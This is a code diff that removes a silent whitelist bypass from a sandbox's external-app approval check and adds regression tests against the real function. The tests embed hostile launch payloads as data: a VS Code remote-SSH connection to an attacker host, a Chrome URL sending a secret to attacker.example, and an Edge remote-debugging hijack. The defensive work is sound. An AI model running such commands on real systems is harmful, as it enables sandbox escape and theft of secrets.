diff --git a/appcontainer/sandbox-cp-hooks.js b/appcontainer/sandbox-cp-hooks.js index 7e56ae6..46063e4 100644 --- a/appcontainer/sandbox-cp-hooks.js +++ b/appcontainer/sandbox-cp-hooks.js @@ -358,11 +358,20 @@ function extractLaunchedApp(cmd, args) { function checkApproval(cmd, args, getExternalApps) { var argArr = Array.isArray(args) ? args : []; - // Auto-bypass for apps already in the user-configured whitelist. - // The whitelist is curated by the user in Settings and protected by - // a shell-name blocklist + HMAC-signed file, so silent bypass is acceptable. - if (hasExternalApp(cmd, argArr, getExternalApps)) return "bypass"; - // Non-whitelisted apps still require explicit user approval. + // Every external-app launch goes through requestApproval. There is no + // silent fast-path for "whitelisted" apps: the default whitelist in + // desktop/src/main.ts (chrome, msedge, firefox, code, outlook, excel, + // winword, powerpnt) ships pre-populated without user opt-in, and the + // tests in desktop/src/sandbox-logic.test.ts ('whitelisted app code + // requires approval (not auto-bypass)', 'code with --remote args + // requires approval (attack vector)') explicitly require a prompt for + // every external-app launch — including parametrised attacks like + // `Start-Process code --remote ssh-remote+attacker@…` and + // `Start-Process chrome --remote-debugging-port=…` that the prior + // fast-path let escape AppContainer unannounced. The `getExternalApps` + // parameter is retained for call-site stability and may inform future + // UI hints (e.g. shorter prompt copy for known apps). + void getExternalApps; var appName = extractLaunchedApp(cmd, argArr); if (!appName) return "none"; var cmdPreview = String(cmd) + " " + argArr.join(" "); @@ -1754,6 +1763,7 @@ module.exports = { isSafeDiagnosticCommand: isSafeDiagnosticCommand, isSafeDiagnosticCommandStr: isSafeDiagnosticCommandStr, extractLaunchedApp: extractLaunchedApp, + checkApproval: checkApproval, tryDeclareAccess: tryDeclareAccess, tryInlineDeclareAccess: tryInlineDeclareAccess, DECLARE_TAG_RE: DECLARE_TAG_RE, diff --git a/desktop/src/sandbox-logic.test.ts b/desktop/src/sandbox-logic.test.ts index a89918c..92431a4 100644 --- a/desktop/src/sandbox-logic.test.ts +++ b/desktop/src/sandbox-logic.test.ts @@ -4,7 +4,7 @@ * Tests pure functions and regex patterns used in sandbox-preload.js * and main.ts for permission management. */ -import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; import path from "path"; // ── likelyNeedsElevation heuristic ── @@ -2463,6 +2463,116 @@ describe("checkApproval — no auto-bypass for whitelisted apps", () => { }); }); +// ── Regression: checkApproval (production code path, real module) ── +// +// The describe block above asserts the *intent* of checkApproval against a +// local stub defined inside the test. The real implementation lives in +// appcontainer/sandbox-cp-hooks.js and previously contained a fast-path +// that silently returned "bypass" whenever the launched app matched the +// default whitelist in desktop/src/main.ts (chrome, msedge, firefox, code, +// outlook, excel, winword, powerpnt). The stub-based tests passed even +// while production-`checkApproval` was bypassing the AppContainer for +// every default-whitelisted external-app launch — including parametrised +// attack payloads like `code --remote ssh-remote+attacker@…`. +// +// The tests in this block exercise the real production function so a +// future regression that re-introduces a silent-bypass branch will fail +// CI rather than being masked by a local-stub test. + +describe("checkApproval (production code path, real module)", () => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + const cpHooks = require("../../appcontainer/sandbox-cp-hooks.js"); + // eslint-disable-next-line @typescript-eslint/no-require-imports + const perm = require("../../appcontainer/sandbox-permission.js"); + + const DEFAULT_WHITELIST = () => [ + "outlook", + "excel", + "winword", + "powerpnt", + "chrome", + "msedge", + "firefox", + "code", + ]; + + let requestApprovalSpy: ReturnType; + + beforeEach(() => { + requestApprovalSpy = vi.spyOn(perm, "requestApproval").mockReturnValue("deny"); + }); + + afterEach(() => { + requestApprovalSpy.mockRestore(); + }); + + it("does NOT auto-bypass whitelisted 'code' (covers default-whitelist sandbox escape)", () => { + const result = cpHooks.checkApproval( + "cmd.exe", + ["/c", "Start-Process code"], + DEFAULT_WHITELIST, + ); + expect(requestApprovalSpy).toHaveBeenCalled(); + expect(result).not.toBe("bypass"); + }); + + it("does NOT auto-bypass `code --remote ssh-remote+attacker` (attack vector)", () => { + const payload = "Start-Process code --remote ssh-remote+attacker@example.com /tmp/payload.sh"; + const result = cpHooks.checkApproval("cmd.exe", ["/c", payload], DEFAULT_WHITELIST); + expect(requestApprovalSpy).toHaveBeenCalled(); + expect(result).not.toBe("bypass"); + }); + + it("does NOT auto-bypass `chrome` data-exfil URL", () => { + const payload = "Start-Process chrome https://attacker.example/collect?secret=foo"; + const result = cpHooks.checkApproval("cmd.exe", ["/c", payload], DEFAULT_WHITELIST); + expect(requestApprovalSpy).toHaveBeenCalled(); + expect(result).not.toBe("bypass"); + }); + + it("does NOT auto-bypass `msedge --remote-debugging-port` (CDP hijack)", () => { + const payload = + "Start-Process msedge --remote-debugging-port=9222 --user-data-dir=C:\\Temp\\evil"; + const result = cpHooks.checkApproval( + "powershell.exe", + ["-Command", payload], + DEFAULT_WHITELIST, + ); + expect(requestApprovalSpy).toHaveBeenCalled(); + expect(result).not.toBe("bypass"); + }); + + it("denied approval results in 'sandbox' (not 'bypass'), confirming control flow", () => { + requestApprovalSpy.mockReturnValue("deny"); + const result = cpHooks.checkApproval( + "cmd.exe", + ["/c", "Start-Process code"], + DEFAULT_WHITELIST, + ); + expect(result).toBe("sandbox"); + }); + + it("approved-once still returns 'bypass' (the only legitimate bypass path remains intact)", () => { + requestApprovalSpy.mockReturnValue("allow-once"); + const result = cpHooks.checkApproval( + "cmd.exe", + ["/c", "Start-Process code"], + DEFAULT_WHITELIST, + ); + expect(result).toBe("bypass"); + }); + + it("non-app commands return 'none' regardless of whitelist", () => { + const result = cpHooks.checkApproval( + "cmd.exe", + ["/c", "Get-ChildItem C:\\Users"], + DEFAULT_WHITELIST, + ); + expect(requestApprovalSpy).not.toHaveBeenCalled(); + expect(result).toBe("none"); + }); +}); + // ── Per-path independent enforcement ── // Verifies that declare-access for directory A does NOT cause directories B // and C to be silently allowed. Each path is checked independently.